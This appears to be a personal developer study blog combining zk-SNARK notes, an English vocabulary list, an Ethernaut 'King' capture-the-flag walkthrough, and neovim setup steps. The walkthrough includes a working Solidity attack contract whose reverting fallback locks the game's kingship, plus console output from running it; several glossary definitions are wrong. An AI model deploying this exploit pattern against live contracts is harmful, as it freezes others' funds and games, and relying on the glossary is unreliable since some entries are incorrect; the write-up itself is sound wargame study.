TRKIZAKI

learning how to be deploying Dapps by using Substrate && Solana!

An approximate introduction to how zk-SNARKs are possible

An approximate introduction to how zk-SNARKs are possible

zk-SNARKs ("zero knowledge succinct arguments of knowledge").

A zk-SNARK allows you to generate a proof that some computation has some particular output, in such a way that the proof can be verified extremely quickly even if the underlying computation takes a very long time to run.

The "ZK" ("zero knowledge") part adds an additional feature: the proof can keep some of the inputs to the computation hidden.

In the context of blockchains, this has two very powerful applications:

1.Scalability: if a block takes a long time to verify, one person can verify it and generate a proof, and everyone else can just quickly verify the proof instead
2.Privacy: you can prove that you have the right to transfer some asset (you received it, and you didn't already transfer it) without revealing the link to which asset you received. This ensures security without unduly leaking information about who is transacting with whom to the public.

Why ZK-SNARKs "should" be hard

Fiat–Shamir heuristic

It only takes one deliberately inserted error, that a random check would almost never catch, to make a computation give a completely incorrect result.

//Errorが1個でもあると全体に影響が出てしまう。どのようにverifierが1つ1つをcheckしないで全体でそのerrorを検出できるか

If tasked with the problem of coming up with a zk-SNARK protocol, many people would make their way to this point and then get stuck and give up.
How can a verifier possibly check every single piece of the computation, without looking at each piece of the computation individually? But it turns out that there is a clever solution.

Polynomials

12 + 1 = 13
10 + 8 = 18
15 + 8 = 23
15 + 13 = 28

C(x)= 5X + 13

Comparing a polynomial to itself

F(x+2) = F(x) + F(x+1) within the integer range {0, 1...98} {F(100) would be the 100th Fibonacci number}. https://en.wikipedia.org/wiki/
F(x+2) - F(x+1) - F(x) would not be exactly zero, as it could give arbitrary answers outside the range x ={0, 1...98}

Polynomial P is zero across some set S ={x1,x2...Xn} P(x) = Z(x) * H(x) , where Z(x) = (x - x1) * (x - x2) ... (x - Xn) and H(x) is polynomial

any polynomial that equals zero across some set is a (polynomial) multiple of the simplest (lowest-degree) polynomial that equals zero across that same set.

Smart Contract Vocabulary

Smart Contract Vocabulary

elaborate
planned or carried out with great care

rigorous
extremely thorough and careful.

cornerstone
a basic element : foundation a cornerstone of foreign policy.

defect
an imperfection or abnormality that impairs quality, function, or utility

intentionally
in an intentional manner : with awareness of what one is doing : PURPOSELY

Crucially
very importantly

artifact
an object, such as a tool, that was made in the past:

lapse
a brief or temporary failure of concentration, memory, or judgement.

deem
: to come to think or judge : CONSIDER

impediment
something that impedes(such as a lack of age)

retrospective
looking back on or dealing with past events or situations.

refinement
the process of removing impurities or unwanted elements from a substance.

canonical
「完全に同じ」もしくは「非常によく似た」ページ内容がある際に、検索エンジンに正規URL(代表となるページ)を示すためのタグです。

onward
toward or at a point lying ahead in space or time : FORWARD

endeavour
v: try hard to do or achieve something.
n: an attempt to achieve a goal.

CAPTURE THE FLAG (CTF)

Application Binary Interface (ABI)

integrated development environment (IDE)

The Practical Byzantine Fault Tolerance (PBFT)

A Ponzi scheme
an investment fraud that pays existing investors with funds collected from new investors.

fraud
wrongful or criminal deception intended to result in financial or personal gain.

heterogeneous
diverse in character or content.

Throughput
a measure of how many units of information a system can process in a given amount of time.

equitable
fair and impartial.

issuance
the action of supplying or distributing something, especially for official purposes.

remedy
to provide or serve as a remedy for : RELIEVE

inception
an act, process, or instance of beginning

sharded
having elytra or scales

akin
of similar character.

embrace
accept (a belief, theory, or change) willingly and enthusiastically.

Crucial
IMPORTANT, SIGNIFICANT

tolerant
showing willingness to allow the existence of opinions or behaviour that one does not necessarily agree with.

exponentially
(with reference to an increase) more and more rapidly.

odometer
an instrument for measuring the distance travelled by a wheeled vehicle.

yield
produce or provide

RSA (Rivest–Shamir–Adleman) is a public-key cryptosystem that is widely used for secure data transmission.

succinctness
the quality or state of being marked by or using only few words to convey much meaning

Polynomials
algebraic expressions that consist of variables and coefficients

tremendously
EXTREMELY

homomorphism
a structure-preserving map between two algebraic structures of the same type (such as two groups, two rings, or two vector spaces).

usurp
take (a position of power or importance) illegally or by force.

uppity
putting on or marked by airs of superiority

peasant
a poor smallholder or agricultural labourer of low social status

fraud
wrongful or criminal deception intended to result in financial or personal gain.

relinquish
to withdraw or retreat from : leave behind

fallback(reserve)
an alternative plan that may be used in an emergency.

exploit
make full use of and derive benefit from (a resource).

devastating
causing great damage or harm

denote
be a sign of; indicate.

negate
to cause something to have no effect:

flatten
to make level or smooth
to make dull or uninspired —often used with out

laid out
knock (someone) down or unconscious.

populated
to have a place in : occupy, inhabit.

coerced
persuade (an unwilling person) to do something by using force or threats.

Flattening
the process of converting several collections (themselves stored in a single collection) into one single collection that contains all of the items in the collections you had before.

entrant
a person or group that enters or takes part in something.

modulo
(in number theory) with respect to or using a modulus of a specified number. Two numbers are congruent modulo a given number if they give the same remainder when divided by that number.

incorporate
to blend or combine thoroughly

comprehensive
complete and including everything that is necessary:

conundrum
a confusing and difficult problem or question.

Caveat
in Latin means "let him beware" and comes from the verb cavēre, meaning "to be on guard."

Darn
defined as a way to show disappointment or dismay, as a more proper version of the word "damn."

intuitive
using or based on what one feels to be true even without conscious reasoning; instinctive.

nutshell
Add to list Share. Use the phrase in a nutshell when you want to make it clear that you're going to sum something up in just a few words.

behalf
in the interest of/ as a representative of

nitty-gritty
the essential substance or details of a matter; basics; crux.

cumbersome
large or heavy and therefore difficult to carry or use; unwieldy.

telekinesis
the supposed ability to move objects at a distance by mental power or other non-physical means.

infeasible
not possible to do easily or conveniently; impracticable.

retract
withdraw (a statement or accusation) as untrue or unjustified.

mitigate
make (something bad) less severe, serious, or painful.

credential
a qualification, achievement, quality, or aspect of a person's background, especially when used to indicate their suitability for something.

hard-cord
fix (data or parameters) in a program in such a way that they cannot be altered without modifying the program.

exploit
make full use of and derive benefit from (a resource).

abuse
use (something) to bad effect or for a bad purpose; misuse.

compatibility
a state in which two things are able to exist or occur together without problems or conflict.

ad nauseam
used to refer to the fact that something has been done or repeated so often that it has become annoying or tiresome.

competent
having the necessary ability, knowledge, or skill to do something successfully.

deemed
to come to think or judge

attestation
evidence or proof of something.

stagnation
a stagnant state or condition : a state or condition marked by lack of flow, movement, or development

Neoliberalism
a policy model that encompasses both politics and economics and seeks to transfer the control of economic factors from the public sector to the private sector. Many neoliberalism policies enhance the workings of free market capitalism and attempt to place limits on government spending, government regulation, and public ownership.

corrode
destroy or damage (metal, stone, or other materials) slowly by chemical action.

critique
an act of criticizing

endeavour
try hard to do or achieve something.

plutocracy
government by the wealthy.

exposure
the state of having no protection from something harmful.

collusion
secret agreement or cooperation

unforeseen
not anticipated or predicted.

perennial
lasting or existing for a long or apparently infinite time; enduring or continually recurring.

succinct
marked by compact precise expression without wasted words

zk-SNARKs ("zero knowledge succinct arguments of knowledge").

reveal
: to make known through divine inspiration

unduly
more than is necessary, acceptable, or reasonable

fudge
: to fail to perform as expected

fatal
A fatal illness, accident, etc. causes death:

fragile
(of an object) easily broken or damaged.

adjacent
having a common endpoint or border

9. King /Ethernaut-Solution

9. King

https://www.kingoftheether.com/thrones/kingoftheether/index.html

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;
contract King {

//we have three instance

address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable { //external payable is to send ether,

//Its gonna hit receive cuz that's what's going to catch it there is no fallback here, so receive gonna catch that.

require(msg.value >= prize || msg.sender == owner);
//we're going to call this fallback function and we're going to make sure that the value we put into this contract
//is greater than its current prize because we have to satisfy this requirement condition and provided we do

king.transfer(msg.value); //kingになりすましてtransfer //we wanna them to stop here right now
//will create a malicious contract
//it doesn't have a fallback function that can take the money of there's a problem in that fallback function in this contract
//this transaction that's calling this function here is going to fail
//this is going to break and that's exactly what we're trying to do here
//because we are trying to prevent anybody else from ever becoming king by paying money into this fallback funtion here
//so we want to stop here, A maricious contract that's going to have a malicious fallback function
//and when this transaction function gets called to send our malicious contract money, we're gonna blow up

//we'll be able to you know pass the line here
//send money to the current king and then we wil become king and msg.sender is going to be the address of the attack king smart contrat

king = msg.sender;
//As a result, the calling is not going to be able to this line here
//and as a result, we will always be king forever and ever
//that's what ended that ponzi game called king of ether which I showed you

prize = msg.value;

}

//the way that we're going to do this is we're going to create

function _king() public view returns (address payable) {
return king;
}
}

/AttackKing.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// we could not fallback function and then transaction that executed this function would fail
//and then this ponzi game would end forever because we would always be king and nobody would be able to pass king statement to get to this line to become the king
contract AttackKing {
constructor(address _king) public payable {//payable is exceed the prize limit //king had the prize limit of five and we wanted send six to
address(_king).call { value : msg.value }(""); //ここのやり方がnew way //we're putting these double quotes in here cuz inside of this call method when you're sending ether to someone,
//you need to include these parenthese and these double quotes which basically states that i'm not calling a specific function
//it's gonna be the first four bytes of a function that's hashed so we're not calling anything specific we're just sending in general with you know remaining gas
//that's usually going to fall under a fallback function for the contract we're sending it to
//or it's gonna hit a receive function which is going to receive the ether fallback so these two locations this is going to hit when we send it
}
//we're going to specify the fallback function
//king is gona be our address,the address of this attack king smart contract
//18:13
fallback() external payable {//functionじゃなくてfallback
revert('You lose!');
}
}
await contract.prize()
 o {negative: 0, words: Array(3), length: 2, red: null}length: 2negative: 0red: nullwords: Array(3)0: 130088961: 14901161length: 3[[Prototype]]: Array(0)[[Prototype]]: Object 
contract.address
'0xb88c9b391cC0564009b89AeDb53d83597212e07A'
  • check the amount of wei of Ether (13008896)
await contract.prize()
o {negative: 0, words: Array(3), length: 2, red: null}
length: 2
negative: 0
red: null
words: (3) [13008896, 14901161, empty]
[[Prototype]]: Object
  • check the currently contract address of king
await contract._king()
'0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5'
  • and then deploy the contract address '0xb88c9b391cC0564009b89AeDb53d83597212e07A send over 13008896 wei
  • check the change address of king!
await contract._king()
'0x56Be55B79aA365Afc81B8Ef43099e31Ec3a27094'

conclusion

Most of Ethernauts levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem.

https://www.kingoftheether.com/thrones/kingoftheether/index.htmlhttp://www.kingoftheether.com/postmortem.html

Vimを改造したくなったからneovimを導入して使ってみる

Vimを改造したくなったからneovimを導入して使ってみる

9/May/2022

reference


neovim dein 導入 =>https://gakogako.com/neovim-install/
vim-plug導入 =>https://note.com/histone/n/na8ebb8a5909f
neovim dein 実践 => https://zenn.dev/nazo6/scraps/7627369b570548

motivation


結局、.vimrcで設定しないと dein.vim も vim-plug も起動しない。

前回設定したvimを壊してみる .vimrcのreset (怖い) でもneovimを使いたい!

  • init.vimがneovimの主な設定になる

neovim installしてみる



brew install neovim
~ git:(main)  nvim -version
NVIM v0.7.0
Build type: Release
LuaJIT 2.1.0-beta3
Compiled by brew@Monterey
Features: +acl +iconv +tui
See ":help feature-compile"
system vimrc file: "$VIM/sysinit.vim"
fall-back for $VIM: "/usr/local/Cellar/neovim/0.7.0/share/nvim"
Run :checkhealth for more info

設定ファイル init.vim 作成

mkdir -p ~/.config/nvim
touch ~/.config/nvim/init.vim

nvimの下にdeinディレクトリ作成

git:(main)  cd ~/.config/nvim
mkdir dein
cd dein
curl [https://raw.githubusercontent.com/Shougo/dein.vim/master/bin/installer.sh](https://raw.githubusercontent.com/Shougo/dein.vim/master/bin/installer.sh) > [installer.sh](http://installer.sh/)
sh ./installer.sh ~/.config/nvim/dein

nvim下にtoml ディレクトリを作成。plugin記述用の dein.tomlとdein_lazy.tomlを作成

nvim git:(main)  ls
dein     init.vim plugged  toml

dein.tomlファイルには全体的に使用したい(常に使用する)プラグインを記入します。

例えば「ディレクトリツリーを表示するプラグインを有効にする」とかですね。

dein_lazy.tomlファイルに関しては編集しているファイル毎に適用したいプラグインを記入します。

例えば「.py拡張子の時にはpythonの保管機能を提供してくれるプラグインを有効にする」

[[plugins]]
repo = 'GitHubの開発者名/GitHubのリポジトリ名'

別途、プラグインマネージャvim-plug導入してみる deinとどっちがplugin管理楽かなぁ


git:(main)  sh -c 'curl -fLo "${XDG_DATA_HOME:-$HOME/.local/share}"/nvim/site/autoload/plug.vim --create-dirs \
[https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim](https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim)'
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100 83129  100 83129    0     0   148k      0 --:--:-- --:--:-- --:--:--  150k

Nerd Fontを導入。


  ~ git:(main)  mkdir -p ~/.local/share/fonts
  ~ git:(main)  cd ~/.local/share/fonts && curl -fLo "Droid Sans Mono for Powerline Nerd Font Complete.otf" [https://github.com/ryanoasis/nerd-fonts/raw/master/patched-fonts/DroidSansMono/complete/Droid Sans Mono Nerd Font Complete.otf](https://github.com/ryanoasis/nerd-fonts/raw/master/patched-fonts/DroidSansMono/complete/Droid%20Sans%20Mono%20Nerd%20Font%20Complete.otf)
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
100 2047k  100 2047k    0     0   914k      0  0:00:02  0:00:02 --:--:-- 4485k

結局、.vimrcで設定しないと dein.vim も vim-plug も起動しない。

前回設定したvimを壊してみる .vimrcのreset (怖い) でもneovimを使いたい!

続く。